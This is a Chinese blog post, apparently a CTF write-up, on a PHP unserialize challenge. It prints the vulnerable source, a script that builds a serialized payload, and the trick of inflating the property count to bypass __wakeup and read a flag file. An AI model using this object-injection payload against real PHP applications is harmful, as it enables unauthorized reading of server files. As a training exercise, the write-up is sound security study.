当前位置: 首页 > article >正文

复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:“X”:1:{s:1:“x”;s:13:“fllllllag.php”;}

这里绕过weakup,修改 “X” 后的 1(成员属性数量) 大于 1(实际数量) 即可。
最后再用GET或者POST 方法传参得到flag。
在这里插入图片描述


http://www.kler.cn/a/509092.html

相关文章:

  • LabVIEW时域近场天线测试
  • Java定时任务不明原因挂掉(定时任务挂掉)以及建议
  • 重学SpringBoot3-Spring Retry实践
  • 个人vue3-学习笔记
  • 44.ComboBox的数据绑定 C#例子 WPF例子
  • K8S开启/关闭审计日志
  • leetcode刷题记录(六十一)——73. 矩阵置零
  • C# 反射获取私有静态方法详解
  • 移动端布局 ---- 学习分享
  • AWTK fscript 中的 输入/出流 扩展函数
  • 探秘Node.js模块Modules:从入门到精通
  • 【湖南省乡镇界】面图层shp格式arcgis数据乡镇名称和编码2020年wgs84坐标内容测评
  • 晨辉面试抽签和评分管理系统之十三:如何让不同批次、同一组别的面试考生抽到连续的号码?
  • “云网安”一体化能力指南(2024)
  • C++ Qt, 使用QTableView,分页功能
  • 使用ffmpeg提高mp4压缩比,减小文件体积【windows+ffmpeg+batch脚本】
  • openssl在windows下的编译
  • 打破编程“鄙视链”:探索行业发展新路径
  • vim函数定义跳转相关设置
  • 如何在亚马逊云科技上消除无服务器网页应用冷启动时间(下篇)
  • Selenium自动化测试实战
  • 红队可视化工具:网络安全的“透视眼”
  • 3. 后端验证前端Token
  • 【BUUCTF】[GXYCTF2019]BabySQli
  • ansible自动化运维实战--服务端安装、环境配置与测试(1)
  • C语言编程笔记:文件处理的艺术